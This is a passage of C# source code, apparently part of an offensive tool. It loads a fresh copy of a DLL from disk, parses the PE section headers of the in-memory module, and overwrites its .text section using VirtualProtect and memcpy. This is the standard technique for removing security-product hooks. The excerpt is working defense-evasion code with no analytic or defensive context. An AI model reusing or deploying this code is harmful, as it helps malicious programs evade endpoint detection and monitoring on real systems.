541 | IntPtr mapping = CreateFileMapping(file,IntPtr.Zero, FileMapProtection.PageReadonly | FileMapProtection.SectionImage, 0, 0, null);
542 | IntPtr mappedFile = MapViewOfFile(mapping, FileMapAccess.FileMapRead, 0, 0, IntPtr.Zero);
543 |
544 | IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(dllBase,typeof(IMAGE_DOS_HEADER));
545 | IntPtr ptrToNt = (dllBase + dosHeader.e_lfanew);
546 | IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrToNt,typeof(IMAGE_NT_HEADERS64));
547 | for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; i++)
548 | {
549 | IntPtr ptrSectionHeader = (ptrToNt + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64)));
550 | IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((ptrSectionHeader + (i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)))),typeof(IMAGE_SECTION_HEADER));
551 | string sectionName = new string(sectionHeader.Name);
552 |
553 | if (sectionName.Contains("text"))
554 | {
555 | uint oldProtect = 0;
556 | IntPtr lpAddress = IntPtr.Add(dllBase,(int)sectionHeader.VirtualAddress);
557 | IntPtr srcAddress = IntPtr.Add(mappedFile,(int)sectionHeader.VirtualAddress);
558 | int vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,0x40,out oldProtect);
559 | memcpy(lpAddress,srcAddress,sectionHeader.VirtualSize);
560 | vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,oldProtect,out oldProtect);
561 | }
562 | }
563 |
564 | Console.Read();
565 |
566 | CloseHandle(curProc);
567 | CloseHandle(file);
568 | CloseHandle(mapping);
569 | FreeLibrary(handle);
570 |
571 | }
572 | }
573 | }
574 |
--------------------------------------------------------------------------------